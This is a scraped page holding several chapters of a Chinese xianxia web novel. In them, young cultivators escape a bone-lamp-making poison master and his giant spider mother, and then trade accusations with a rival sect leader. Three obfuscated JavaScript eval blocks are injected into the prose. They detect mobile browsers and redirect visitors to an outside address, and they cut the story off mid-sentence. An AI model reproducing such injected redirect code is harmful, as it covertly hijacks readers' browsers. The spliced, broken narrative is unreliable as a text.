水流冲刷过全身,洗去了身上的气味,哗啦啦的瀑布声响之外是蜘蛛怪震耳欲聋的脚步声,柳逸直将半个身子探出水帘,只见蜘蛛怪们追着匕首去了,好在这些蜘蛛怪并未生出灵智,视线也不高,没有发现他们早已金蝉脱壳。 柳逸直松了一口气,回到了水帘之内。岚孟三人站在自己身侧用灵气蒸干衣服,而洞穴深处有两男一女,萤石散发着微弱的光芒,照亮了他们的面容。 柳逸直拱了拱手:“夏首座。” 正是禅宗夏澜熹一行人,方才唤他们进来的人是元赫,另一个人躺在地上,像是中了毒,柳逸直并未见过。 一个月前夏澜熹已经接过了梵音铃的权柄,这一声“首座”名正言顺。 夏澜熹点了点头,问道:“几位道友,有谁是医修吗?我的同门罗宜受伤中毒了。” 娄雪沁:“有!” 岚孟:“没有。” 二人对视一眼,岚孟疑惑:“谁?” 娄雪沁这才反应过来,羞涩地挠了挠头,干巴巴笑了一声:“不好意思,我忘记你是个器修了。” 夏澜熹面露希冀地望着她:“闫道友,拜托了,禅宗必有重谢。” 岚孟叹了口气,撸起袖子朝地上半死不活的人走去。不是她不想帮,主要是夏澜熹绝非泛泛之辈,若是在人家眼皮子底下贸然动用灵力,她害怕夏澜熹会察觉到她就是协助贺舟晏逃走的人,大名鼎鼎的禅宗首座可不是柳逸直那样会帮她遮掩身份之人。 好在这个禅宗弟子是中了蜘蛛怪之毒,非妖丹不能解,岚孟只给他喂了几粒解毒丹。 “必须得在一个时辰之内拿到妖丹才行。”岚孟道,“袭击你们的蜘蛛怪是哪个还能认出来吗?” 夏澜熹语气沉重,“是蛛母,修为估计可以达到闻道大圆满。” 翟子续倒吸一口冷气,他已经拿了新的外衫穿上了,可还是感觉后背拔凉拔凉的,“方才那个就已经把我们折腾得够呛,要是蛛母还了得?” 娄雪沁抱着欺梦笔,双腿直打哆嗦,她一想到那些长着八条腿的大虫就毛骨悚然,声音颤抖不止:“咱还是快逃吧。” 柳逸直警觉地朝门口看去,将玉白骨扇从袖中抽了出来,沉声道:“已经迟了。” 话音刚落,无数蜘蛛丝破开水帘朝众人袭来,那蛛丝堪比铁丝,刀砍不折,火烧不断,洞窟狭小,难以施展全力,一声尖穿透众人耳膜,所有人都被摄取了心神一般愣了一瞬。 就在这一瞬之间,蛛丝裹住众人的身体,将所有人都卷了出去。 54. 白骨灯 “滴答——滴答——” 规律的滴水声将岚孟惊醒了,她没着急睁开眼,先闭着眼睛判断了一下现在是个什么情况。 全身都被捆住了,根据触感来看,估计是蛛丝。脚下空空荡荡,身体也没有碰到其他的东西,看来是被吊在了半空中。有低语声传入耳中,听不真切,但好像是一个人在自言自语,不一会儿,说话声停了,轻微的脚步声响了起来,那人好似离开了。 岚孟这才睁开了眼睛,对上了一双琥珀色的眼瞳。 对视良久,柳逸直率先别开了眼睛。他往四周望了望,发现他们四人,加上夏澜熹和元赫,六个人均被蛛丝吊在了半空。夏澜熹也醒了,他们三人,每两个人之间各自隔着一个没醒的人,成三足鼎立之势面面相觑。 夏澜熹开口了,话语里含着一丝歉意,“抱歉,拖累你们了,若你们没躲进那山洞里,或许也不会被抓住。” 柳逸直道:“夏首座言重了,不管我们往哪逃,或许都是一样的下场。” 岚孟淡淡地说:“别说客套话了,还是先想想怎么逃出去吧。” 这时,另外三人陆陆续续醒了,元赫眨巴了一下眼睛,惊恐道:“澜熹,罗宜不见了!” 夏澜熹抿着唇没说话。 见闫扶音也一言不发,柳逸直就知道还是得自己来做这个恶人,他提醒道:“元道友,你看看下面。” 元赫低头看去,只见正下方有个方圆数丈的血池,满面乌青的罗宜飘在上面,毫无声息,已经死透了,而且他身上被池水浸泡的部分有着不同程度的腐蚀,森然白骨清晰可见。 娄雪沁干呕了一声,紧紧闭上了眼睛,瘪着嘴巴忍着没哭出声。 翟子续的声音也有点发抖,他看着正前方,“你们看那边。” 其他人偏头往那个方向看去,只见白玉床上放置着一盏高大的六角宫灯,通体猩红,宝盖之上六个角都悬挂着一串串蝴蝶状的物件,主体部分缺了几块,显得有些空荡。 翟子续道:“灯身那几块,像不像是人的脊椎和肋骨,还有那灯架,是小腿骨吧?” “何止,”岚孟轻轻笑了一声,在这恐怖气氛衬托之下显得格外瘆人,“你仔细看看,宝盖顶端那个‘球’,分明是个人头啊。” “唔唔唔你再说我就要吐了……”娄雪沁挣扎起来,吊着她的蛛丝开始晃荡,几人离得又近,一个撞一个,都跟着荡了起来。 “方才那个人你们看见了吗?趁着他不在,我们赶紧想办法离开吧。”夏澜熹提议道,她眉头紧锁,“虽然那人修为不过知行境,但他有蛛母助力,我们最好还是不要正面硬刚。” “所以说咱怎么脱身?”元赫问道,“澜熹,你鞭子呢?” 夏澜熹道:“在我腰上呢,但是普通攻击割不开这蛛丝,要是引雷击我也施展不开,更何况这洞穴都会被砸得稀巴烂。” 元赫看向翟子续,“你不是剑修吗?你把这东西弄开。” “大哥,你哪能指望我一个元初境的剑能斩断堪比闻道大圆满修士的蜘蛛怪吐出来的丝啊!”翟子续控诉道。 见元赫的目光落在了自己身上,娄雪沁连忙摇头,把目光转向柳逸直。 柳逸直看向对面默不作声的闫扶音,冷静道:“这都要死到临头了,你也别藏着掖着了,有什么事情,等脱离险境再说,行吗?” 岚孟叹了口气,瞥了夏澜熹一眼,后者一头雾水。 岚孟:“参,出来。” 腰间参剑从密密麻麻的蛛丝间挤了出来,然而刚挤出来个头,脚步声乍然响起,岚孟眼神一凛,止住了参剑的动作。 一个头发花白的老头子走进了洞穴,身后跟着体型硕大的蛛母。 他“哟”了一声,笑着打招呼道:“都醒着呢,你们好哇。” 谁也没有应声,皆面带警惕地盯着那老者佝偻着腰走到白玉床边坐下,蛛母则趴在了血池边。 老者自我介绍道:“老夫方无戍,敢问诸位小友出自何门何派啊?” 依旧无人应声。 方无戍“哈哈”笑了一声,一拍脑袋,“还没给客人看座上茶呢,瞧老夫这记性。” 他指挥蛛母将六人放了下来,仅用一捆蛛丝缚住了手脚,七人一同坐在蛛母宽大的背上,围坐了一圈,方无戍左边是翟子续,右边是柳逸直。 他拍了拍翟子续的肩膀,一副慈祥长辈的模样,“就从小友你开始吧。” 翟子续只感觉被方无戍拍过的地方窜起一阵电流,涌遍了全身,浑身的汗毛都竖了起来,他硬着头皮道:“晚,晚辈翟子续,乃是山到源弟子。” 其他人一一自报了家门。 夏澜熹坐在方无戍正对面,知晓他们不能这般被动,于是主动询问道:“前辈为何会待在这里,同蛛母为伍?” 方无戍“哦”了一声,笑道:“小丫可不叫什么蛛母,她是老夫的女儿。” 小丫,也就是众人屁股底下的红玉蜘蛛怪嘴巴里发出一声尖啸,似是在回答。 夏澜熹一时间竟然不知道该说什么。 岚孟忽然接过了话头:“前辈莫非是八重子方无戍?” 方无戍眼睛一亮,“真没想到这位小友竟然知道老夫的威名啊!”他捋了捋胡子,骄傲道:“不错,老夫正是名震天下的毒修八重子!” “什么扒虫子?”元赫纳闷地问。 岚孟解释道:“两百近三百年前,方无戍前辈驯养了一只毒蜘蛛,以一己之力毒杀了一座有着五十万人口的城池。” 她恭维道:“前辈当真是威风凛凛啊!晚辈着实佩服!” 岚孟给斜前方的柳逸直使了个眼色,后者会意,立即拍起了方无戍的马屁:“前辈的风范可谓是无人不知无人不晓,也就是元道友闭目塞听,才有眼不识泰山,前辈勿怪,勿怪。” 其他人也反应了过来,连连附和。 方无戍很是受用,高兴道:“诸位甚得吾心啊!就让你们见识一下老夫这么多年的杰作好了!” 他站了起来,大手一挥,四周墙壁便接二连三炸开了,露出大大小小无数洞窟,每一个洞窟里都放着一盏骨灯,形状各异,有的是兽骨做的,有的同白玉床上的一样,由人骨搭建而成。 他如数家珍地介绍自己的杰作:“这一盏由烈炎虎的骨头制成,老夫杀了二十多头老虎才搭了这盏灯;这一盏用的材料比较杂,老虎、豹子、蛊雕什么的都有。” “差点忘了这一盏,是刚进入山河图那年做的,他们想要追随老夫,老夫自然欢迎呐!于是就把他们永远留在了老夫身边。” “还有这一盏,他们和老夫一样,玄牝之门关闭时没来得及出去,老夫追了他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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众人尚且没有从方无戍竟然会相信这个蹩脚理由的震惊中回过神来,方无戍便又跳上了蛛母的背,解开娄雪沁手上的蛛丝,将她的手抓了过来,搭上了她的脉,煞有介事道:“自古医毒不分家,老夫观你面露惊色,定是受了惊吓,恐有滑胎之险,这便为你诊治一番。” 娄雪沁哆嗦得更厉害了,求助的目光看向了岚孟。 怎么办?她可不会捏造脉象啊! 岚孟面色一讪。 她也没料到这个疯老头这么较真啊! 方无戍“咦”了一声,岚孟都打算编个理由搪塞过去了,却听方无戍疑惑道:“小姑娘,你被人封禁了记忆啊!” 娄雪沁忙道:“前辈真是见多识广,是几个月前一个卑鄙小人做的手脚,我旁边的这两位同门也是如此。” 方无戍面露惊愕,他跑到翟子续身边搭上了他的脉,奇道:“还真是!” 他又来到柳逸直身边。 柳逸直的心都跳到了嗓子眼,却听方无戍道:“果真如此啊!” “尧玦那混蛋竟然连自己的后辈都不放过!果真是卑鄙小人!无耻败类!” 方无戍开始咒骂起尧玦来。 柳逸直脑中却像是沸腾的水炸开了锅。 怎么回事?他身上的记忆封禁术不是被重明尾羽解开了吗? 他望向闫扶音,发现她亦是满脸错愕,显然对此事毫不知情。 方无戍没必要说谎,莫不是……他身上还有一层记忆封禁术? 55. 赔不起 方无戍终于结束了对尧玦的谩骂,他跑到白玉床边,比划了一下骨灯上还缺少的骨头长度,然后跳回蛛母背上,皱眉打量着众人,那眼神就像是在挑选货物。 “要谁的骨头好呢?”方无戍陷入了难题。 他打了个响指,脸上的愁容一下子便消散了,“这样好了,老夫还缺两块骨头,不如你们六个推选二人出来吧!其他人,老夫便留你们再住几天。” 翟子续咽了咽口水,心想这和“把猪养肥了过年再杀”有什么区别? 元赫的心一下子便提到了嗓子眼,六选二,直接报他和夏澜熹的大名不就得了?用脚指头也想得出来,他们四个都是山到源的,必定沆瀣一气,肯定会把他们这两个外人推出去挡灾。 他疯狂地给夏澜熹使眼色,快想想办法啊!真的要翘辫子了!吾命休矣! 被放下来坐到蜘蛛背上以后,夏澜熹便一直偷偷地转动腰间列缺鞭,现在总算是摸到鞭柄了,然而就在这时,方无戍像是才发现她的小动作一样,朝她指了指,坚硬的蛛丝便缠上了她的身体,将她裹成了个粽子。 方无戍心有余悸地拍了拍胸脯,后怕道:“差点让你跑了,你这小姑娘真是淘气。” 夏澜熹:“……” “快选!老夫的时间很宝贵的!”方无戍双手叉腰道,他指着翟子续的鼻子,“就从你开始吧,选谁?” 翟子续吞了吞口水,头摇成了拨浪鼓。 “那你呢?”方无戍又指向娄雪沁。 娄雪沁哆嗦道:“我,我是个孕妇,脑子不灵光,前辈还是让其他人选吧。” 方无戍点头赞同:“有道理。” 他在娄雪沁面前蹲下,单手掐着她的下巴,来回仔细地观察,呢喃道:“老夫还没有得到过小婴儿的骨头唉,能做个什么灯呢……有了有了,等你生了小娃娃,就把骨头剔下来做个蝴蝶灯好了!” 他放开娄雪沁的下巴,双手摇晃做扇动状,捏起嗓子:“小蝴蝶,飞呀飞,飞到花丛中……” 娄雪沁的呼吸都滞住了,嘴巴翕动不停,一颗心好像坠入了冰冷的湖底。 属于人的嘴,怎么能说出这么恶毒的话? 方无戍在六人之间转圈圈,他的表情如痴如醉,仿佛真的变成了一只轻盈的蝴蝶,在花海之间流连徜徉。 可是身处这幽深昏暗的地穴之中,墙洞里放满了人骨、兽骨制作的诡异灯具,脚下是嗜血恐怖的庞大蜘蛛怪,一旁的血池里还有具慢慢腐化的尸体,方无戍的每一个表情,说出来的每一句话,都是那么的癫狂可怖,令人毛骨悚然。 “婴儿头做蝴蝶头,娃娃骨作蝴蝶骨,哈哈哈……” 他嬉笑着,舞动着,视他人于无物,沉浸在了自己的臆想之中无法自拔。 娄雪沁的身体忽然便不再颤抖了,脸上的惊恐蓦然变成了愤怒,眼眶一寸寸变红,她咬牙切齿道:“老不死的,我真的忍你很久了。” 方无戍如梦初醒,他停止了舞蹈,扭头看向娄雪沁,歪头疑惑道:“小姑娘,老夫没对你做什么吧?方才还为你诊治病情了,你不言谢也就罢了,为何如此辱骂老夫?” 娄雪沁扭动着被捆束的双腿,狼狈地跪立了起来,腰杆挺直如青竹,愤怒的火焰几乎要从眼睛里喷射而出,她掷地有声道:“你这人,不,你这个猪狗不如的衣冠禽兽,怎么还有脸活在这个世上!” 最后一个字落下,她身后的血池忽然爆炸了,血水喷涌而上形成了无数尖锐的血剑,齐齐朝方无戍袭去。 与此同时,参剑出鞘,冰寒之气让四周温度骤然下降,飞剑率先割断了夏澜熹身上的蜘蛛丝,夏澜熹一把抽出腰间列缺鞭,带着雷电的鞭子狠狠抽向被血剑逼退的方无戍。 其余人得以脱困,纷纷亮出武器对敌。 方无戍的修为不过知行境后期,可此人十分难缠,身法诡谲难以捕捉,而且他就是个毒药罐子,浑身上下不知有多少种专门对付修士的毒,一旦中招,便是大罗神仙也难救。 更何况他还有蛛母和数不尽的蜘蛛怪助阵,一时间便是夏澜熹也难以近身。 岚孟将参剑插入剑鞘之中,迅速从芥子袋里找出能避毒的龙鳞果种子,直接在掌心催生出半人高的植株,摘下枝头的果子抛向柳逸直。 “十息之内百毒不侵,速战速决!” 柳逸直一把接住龙鳞果,扬声道:“掩护我!” 夏澜熹一鞭抽飞了左侧的数百只蜘蛛怪,娄雪沁、翟子续、元赫三人联手,挥剑的挥剑,念经的念经,漫天大河滚滚向前,右侧的蜘蛛怪也被横扫一空。 只剩下方无戍脚下的巨大蛛母。 方无戍大笑起来:“就凭你们?哈哈哈——” 蛛母猛地吐出不计其数的蛛丝,形成一张漫天巨网,朝众人袭来。 列缺鞭身带紫电,三两鞭便将巨网击得七零八落。 一个迅疾如闪电的身影径直穿过蛛网碎片,来到了方无戍身前。 方无戍大喝道:“找死!” 大掌抬高向前一推,含着剧毒的灵气手掌便朝柳逸直兜头盖下,他的身影瞬间便消失了,毒掌落空,在地面上按出了深深的坑。 下一秒,柳逸直的身影出现在方无戍正后方,方无戍向后挥出的一掌再次落空。他怒不可遏,蛛母发出尖锐的刺耳啸声,听者无不心神恍惚,气血翻涌。 柳逸直位于半空中的身形显露了出来,方无戍唇边升起一抹狞笑,他伸手向柳逸直抓去,就在他要碰到柳逸直胸膛的那一瞬间,一根带刺的蔷薇藤拔地而起,径直扎穿了方无戍的胳膊。 方无戍惨叫一声,杀气猛地袭来。柳逸直手中握着一只赭红色的箭,从侧边狠狠扎入了方无戍的脖颈。 黑血从伤口处喷涌而出,同时还夹杂着剧烈的灵气波动,柳逸直暗道不好,连连向后撤退。 “嘭——” 方无戍的身体在一瞬之间爆炸了,毒血如雨点般撒向四周,好在众人及时支起了灵力罩,将毒血隔绝在了外面。 凄厉的尖啸声传来,毒血齐齐朝蛛母飞去,它吸收了毒血以后还不满足,竟用蛛丝将四周的小型蜘蛛怪都卷了过来,一口吞下,“咔嚓咔嚓”的咀嚼声不绝于耳,而它的身体也好似在一寸寸变大。 夏澜熹一鞭子便将斜上方的地面打穿了,“轰”地一声,地面多了个大洞,月亮的清辉斜斜射入地洞之中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929651|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “快走!”她大声道。 先前娄雪沁抽干了血池中的血,正好方便了元赫,他跳进池中,一把扛起罗宜白骨森森的尸体就往外奔,夏澜熹又一鞭子抽死了追上来的蜘蛛怪。 娄雪沁和翟子续已经逃出了洞口,柳逸直扭头去看,见闫扶音一手扶着墙,脸色苍白,一副精疲力尽的样子,想必是因为催生龙鳞果耗尽了灵力。 他飞扑过去一把将人打横抱了起来,步伐轻盈却迅疾,不多时便冲出了洞口,飞上了一旁的崖顶。 瀑布的流水声震耳欲聋,柳逸直将人放在树下,从芥子袋里取出一个瓷瓶,倒出回元丹递到她嘴边。 岚孟摇摇头:“于我无用。”她盘腿坐下调息,周围的灵气都涌进了她的身体。 柳逸直把丹药喂进嘴里嚼碎吞下。一旁,夏澜熹在打坐调息,元赫不知从何处掏出来一个巨大的麻袋,一脸悲戚地把罗宜的尸首装了进去。 翟子续和娄雪沁受伤较轻,这时凑了过来,担忧地问道:“师兄,现在该怎么办?我们不能直接逃去下一个秘境吗?” 柳逸直沉声道:“蜘蛛怪记仇,它又是方无戍带进来的,不受传送门的约束,即便我们逃往他处,它也能追杀而来。只有在此地将其斩杀,才能永绝后患。” “可是它的修为比肩破妄境修士,单凭我们几人,恐怕对付不了它。” 破妄……柳逸直想到了什么,扭头看向闭目吐息的姑娘,问道:“上次,你用的是什么毒?” 岚孟睁开眼睛,知道他说的是击杀高天那一次,她皱起眉:“你以为愁断肠是烂大街的白菜吗?” 翟子续倒吸一口冷气,娄雪沁一头雾水,扯了扯他的袖子,问道:“什么愁断肠?” 翟子续低声道:“世间毒性最烈的毒药,价值连城,掏空一条灵石矿也买不到一钱毒。据说就这么点,”他的食指和拇指捏在一起,表示很少的意思,“就能放倒一个破妄境修士。” 娄雪沁惊讶地捂住嘴,“若是有这种毒,要弄死那八爪虫岂不是易如反掌?”她面含希冀地望向闫扶音。 岚孟烦躁地挠了挠头发,终于叹了口气,取下腰间参剑,“歘”地一声抽出剑来,锋利的剑刃在月光下泛着寒光。 娄雪沁冷不丁打了个寒颤。 岚孟道:“只剩一次攻击的量了,必须一击即中,否则杀不死那大家伙。” 她将剑插回剑鞘,递给柳逸直,后者愣了一下,道:“让我上?” “不然呢?”岚孟没好气道,“我的速度不及你,更何况现在黑灯瞎火的,我又是个半个瞎子,没把握能够找准命门。” 柳逸直伸出双手将参剑接了过来,郑重道:“定不辱命。” 岚孟心疼道:“别把我剑给折了。” 柳逸直:“要是折了,我会赔偿。” 岚孟面色戚戚:“你赔不起。” 柳逸直:“……我会小心。” 轰隆隆的声音传来,翟子续跑到崖边往下一看,只见地面四分五裂,无数蜘蛛怪从裂缝处爬了出来,密密麻麻,惹人头皮发麻。 夏澜熹走到众人旁边坐下,声音冷静沉着:“那就来商议一下作战方案吧。” 56. 战利品 蛛母原本只是一只不足拇指大的毒蜘蛛,吸收了天地灵气,逐渐长到了成人拳头大小。 机缘巧合之下,方无戍一头栽进了蛛网里,蛛母对送上门来的口粮自然来者不拒,张着大嘴往方无戍胳膊上咬了一口。 毒物遇上毒物,自然是谁更毒谁就是赢家。 蛛母大难不死,方无戍给它取了“小丫”这个名字,从此吃香的喝辣的,快哉快哉!不巧的是树大招风,太过耀眼嚣张总会招来祸事,他们被自称正道的修士群起而攻之,不得已逃进了山河图,心惊胆战地躲了半个月,终于逃过了那只红毛鸟的追杀。 后来,一人一蛛在龙生坟作威作福两百余年,玄牝之门又开启了,本想干一票大的,结果方无戍居然被几个毛都没长齐的龟孙给嘎了。 小丫很生气,后果很严重!成千上万只子子孙孙都进了它的肚子,小丫长得比小山还高,脊背上坚硬的甲壳顶开了土地,它跺一跺脚,地面都要抖上三抖。 小丫迈着八条大长腿冲出了地底,还没在地面上站稳,就有人给了它兜头一鞭子,滋啦滋啦冒着电,酥麻感从头顶直抵足尖。 小丫尖啸一声,徒子徒孙们纷纷爬上了它的背,爬不上去的围在它身边打掩护。 燎原之火不知从何处而来,澎湃火浪灼烧着蜘蛛怪的身躯,它们吱哇乱叫着横冲直撞,原本紧密有序的队形一下子便散了,小丫也被烫得跳脚,空气中弥漫着皮肉被烤熟的焦香。 “哗——” 水声震耳欲聋,大河忽然改变了流向,汹涌的河水如脱缰的野马,一边咆哮着一边奔涌而来。浑身灼热的蜘蛛怪们要么被大河冲走,要么一见到救命的河水,便纷纷下饺子一般跳进了河水之中,就像是热铁汲进冷水里一般,蜘蛛怪身上“滋滋”作响,浓重的白气弥漫开来。 蜘蛛怪很快便折损了大半,只有四只体型较大的蜘蛛怪还坚守在小丫四周,而小丫背上的徒子徒孙不到五十只。 “轰隆——” 夜空之上不知何时飘来了一朵乌云,一阵刺眼的白光过后,粗壮的闪电贯通天空与大地,结结实实劈在了小丫一家人身上,红色的蜘蛛怪顿时被劈成了黑色。 小丫疼得尖啸一声,巨口源源不断向头顶吐出了结实的蛛丝,将一大家子都罩了起来。 又是一声巨响,然而并非源于头顶,而是地下。 一条粗壮的木龙从小丫脚下钻了出来,直接将庞大如山的蛛母撞飞了出去,那坚不可摧的蜘蛛网自然没了用武之地。 四个蜘蛛怪虽然灵智未开,但也清楚危险源于远处,它们一个接一个口吐蛛丝,想要将木龙的身躯和四周的树木山石裹在了一起。 然而木龙比它们想象中要狡猾得多,它嘴里叼着蛛母,在半空中横冲直撞,遇到蛛丝也不躲,很快,蛛母和木龙一起被困在了密不透风的蛛丝之中。 四个干啥啥不成,吃啥啥不剩的蜘蛛怪终于将老母亲带进了坑里,然而等待它们的不是老母的谩骂,而是一把闪着火光的剑。先是被烈火灼烧,又是被冷水冲刷,蜘蛛怪的甲壳已经变得十分脆弱,那剑不费吹灰之力就劈开了它们的身体。 小丫以仰躺的姿势被蛛丝固定在半空中,徒子徒孙的血溅到了它的身上。小丫怒不可遏,竟然让几个小杂毛爬到了它的头顶作威作福,简直是欺蛛太甚! 它发出刺耳的尖啸,八条腿用力一蹬,便扯断了缠绕全身的蛛丝,然而尚未在地面上站稳,低语声就从从四面八方传了过来,一串串闪着金光的梵文如同枷锁,拴住了它的八条腿,将它整个蛛都吊了起来。 小丫敏锐地捕捉到了一缕危险的气息,它低头一看,只见一个人影迅疾如风,一瞬间便从远处蹿到了它面前。 它朝那人影吐出千万条蛛丝,却被灵活地躲开,那人的身影时而出现在石后,时而出现在树梢,令蛛眼花缭乱,防不胜防,一个不小心就让那人蹿到了自己身下。 小丫心中警铃大作,八条腿奋力挣扎起来,想要护住腹中命门,然而它刚挣脱梵文枷锁,尖锐的疼一下子席卷全身。 尖啸与雷鸣同时响起,冲天雷电狠狠击在小丫身上,“轰隆——”巨大的身躯重重砸在了地面上,将土地砸出了一个巨大的坑,整座秘境都好像抖了一抖。 乌云散去,皎洁的月光重新降临人间。 - “死了吗?” 元赫举着萤石蹑手蹑脚地靠近躺在地上无声无息的巨大蛛母,二十步,十步,五步,他拿起一旁的树枝捅了捅蛛母的一条腿——没有动静,用灵力打在它的脑壳上也毫无反应。 死了。 元赫猛地舒了一口气,朝悬崖边等待的人招手,高呼道:“死了!我们成功了!” 躲在树林不远处严阵以待的柳逸直和翟子续也纷纷松了口气。 柳逸直走到了月光下,他抬头一看,闫扶音双手环胸立在悬崖边,距离隔得太远,他看不清她的神色,只隐约瞧见她好像轻轻笑了笑,然后伸出手勾了勾手指,他掌心的参剑便剧烈震动起来,柳逸直一松手,参剑便破空而去,飞进了运筹帷幄的姑娘手中。 她举起参剑对着月光看了看,似乎在确认没有损坏之处,然后转身离开了崖边。 柳逸直低下头,用手背揩了揩脸上溅到的血,无声地笑了笑。 娄雪沁如释重负,累得瘫倒在了地上,哭丧着脸:“终于结束了,老娘的腰哎……” 崖下三人陆陆续续飞了上来,调息的调息,清洗的清洗,刚刚结束了一场恶战,众人的心情都比较轻松愉悦,娄雪沁甚至一边撩起裤腿在水里泡脚,一边毫无心里负担的放声歌唱。 柳逸直坐在树下调息,脚步声由远及近,最终停在了他面前,他睁开眼,见闫扶音居高临下地看着自己。 “你还需要多久?”她问道。 柳逸直挑眉:“怎么,你很着急?” 岚孟不着痕迹地瞥了远处的夏澜熹一眼,看向柳逸直的眼睛,催促道:“是,所以你快点。” 柳逸直腹诽道,怎么就像是耗子见了猫一样。 河边,翟子续烦不甚烦,终于朝娄雪沁道:“好吵,你能不能把嘴闭上?” 娄雪沁“切”了一声,“真是山猪吃不了细糠。” 余光瞥见树下的两人,她推了推翟子续的胳膊,“你看,我就说他们俩关系变好了吧?” 翟子续纳闷地看着树下说话的两人,皱眉道:“没看出来。你老关注他们做什么?有这功夫还不如好好调息恢复伤势。” 娄雪沁瞪了他一眼,没好气道:“天底下怎么会有你这样的蠢人。” 翟子续的火气“噌”地一下就上来了,然而还不等他绝地反击,话题中的两人便朝自己走了过来。 柳逸直问道:“我们打算即刻启程,你们要和我们一起走,还是再休息会?” 翟子续面露疑惑:“这么着急做什么?不是说龙生坟夜里不安全吗?” 岚孟淡淡道:“现在最大的威胁已经除掉了,其他的不足为惧。” 娄雪沁灵光一闪,她一拍手掌:“对了,我们还没分战利品呢,那蛛母肯定值不少钱。” 破妄境红玉蜘蛛怪的尸体可不好得,不论是拿去卖了还是去炼器煅甲,都是稳赚不赔的买卖。柳逸直有些意动,他看向站在自己身侧的闫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929652|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶音,对方冷着一张脸,感觉她还是想要现在就走。 她究竟在顾虑什么?夏首座又不是洪水猛兽,论修为,她们俩大差不差,若是真打起来,她也不一定会落入下风。 莫非是因为上次给寸微云传修为时亏损的元气还没好全? 很快,柳逸直就得到这个问题的答案了。 夏澜熹伸手拦在岚孟身前,直直盯着她漆黑的眼瞳,开门见山道:“那夜,在落霞坞南园,放走贺舟晏的人是你吧?” 柳逸直和元赫惊讶得瞪大了眼睛。 翟子续和娄雪沁则是一头雾水。 贺舟晏是谁? “夏首座何出此言?贺舟晏是谁?”岚孟问道,她的脸皮厚如城墙,说起谎话来脸不红心不跳,已经将扯谎这项技能练得炉火纯青了。 夏澜熹不相信她的鬼话,只相信自己的判断,她沉声道:“我记得你的灵气,闫扶音。” 岚孟勾了勾唇,“夏首座,我都不认识你说的那人,根本不知道你在说什么。凡事要讲求证据,夏首座空口白牙污蔑友宗的弟子,这不太好吧?还是说这就是禅宗一贯的作风?” 这是霜笛教她的对峙法则。俗话说解决事情要大事化小,小事化了,而与人吵架时得反着来。人家说你不守妇道,你就该回敬他一句欺师灭祖;人家说你不知廉耻,你就要说他祖宗十八代出门都不穿裤衩子,没脸没皮。 把小往大了说,把个人上升到家族门派,只要对方有廉耻心有责任心,不信他不会为了维护自己身后之人的利益而急红了眼,谁不要脸,谁就是赢家。 夏澜熹确实没有证据,总不能把她脑海里记忆挖出来给人看,对比一下两股灵力是不是一模一样吧? 不过她也没有被闫扶音话中的含沙射影给唬到,她的唇边勾起一抹温柔的笑,含沙射影道:“闫道友故意遮掩修为,藏头露尾的,可不像是光明磊落的丹灵卫该有的作风,不知道的还以为你有什么不可告人的秘密呢。” 岚孟笑了一下,“瞧您这话说的,谁身上没有点不可对外人言说的秘密,难不成每一个人都能问心无愧坦坦荡荡吗?那岂不是人人都是圣人了?” 元赫警惕地盯着岚孟,柳逸直也握紧了玉白骨扇,两伙人各自较着劲,谁也不让谁,空气中弥漫着浓重的火药味。 只有毫不知情的娄雪沁和翟子续夹在中间,里外不是人。 半晌,夏澜熹率先打破了僵局,她放话道:“闫扶音,我记住你了,下次,你不会有这样的好运气。” 岚孟微笑:“在下还是那句话,在指责别人有罪之前,请拿出有力的证据。” 夏澜熹冷哼一声,甩袖离开。元赫瞪了岚孟一眼,扛着罗宜的尸体追了上去。 崖顶只剩下自己人。 娄雪沁举起手,问道:“贺舟晏到底是谁啊?” 岚孟耸耸肩,“不知道。”她径直走到树前坐下调息,看样子是不打算走了。 柳逸直对上两对好奇与疑惑交织的眼神,掩唇咳了一声,岔开话题道:“那蛛母还在底下躺着呢,夏首座他们一声不吭地走了,看来是放弃这个战利品了,我们去处理一下吧。” 翟子续眼睛一亮:“对对,我要用蛛母脑壳上的壳甲淬剑!”他急匆匆跳下了悬崖。 娄雪沁欲言又止,但见闫扶音和柳逸直都没有解释的意思,只好跟着跳下了悬崖。 “不打算解释一下?”柳逸直回头问道。 岚孟闭着眼睛,道:“我不都说了,不认识,不清楚,不知道。” 好吧。 柳逸直飞下悬崖。 看来答案还得自己找。 57. 荒骨地 天色熹微,柳逸直三人终于将蛛母上能用儿材料都收集完了,然后一把火烧了尸体。 同娄雪沁二人分别以后,柳逸直和岚孟通过龙生坟的传送门,先来到了栖风谷。 各个秘境之内日升月落的时间并不统一,龙生坟内天已经亮了,栖风谷却是一片漆黑,天穹之上无星也无月,岚孟嘟囔着“怎么黑黢黢的”,手伸进芥子袋里想要拿出莹石来,柳逸直连忙按住她的手。 “别,先等等。”他道。 “为何?”岚孟不解。 柳逸直就这样扯着她的胳膊,摸着黑将她牵上了一旁的小土坡,他打了个响指,和煦的风从两人身侧掠过,吹得岚孟发丝飞扬。 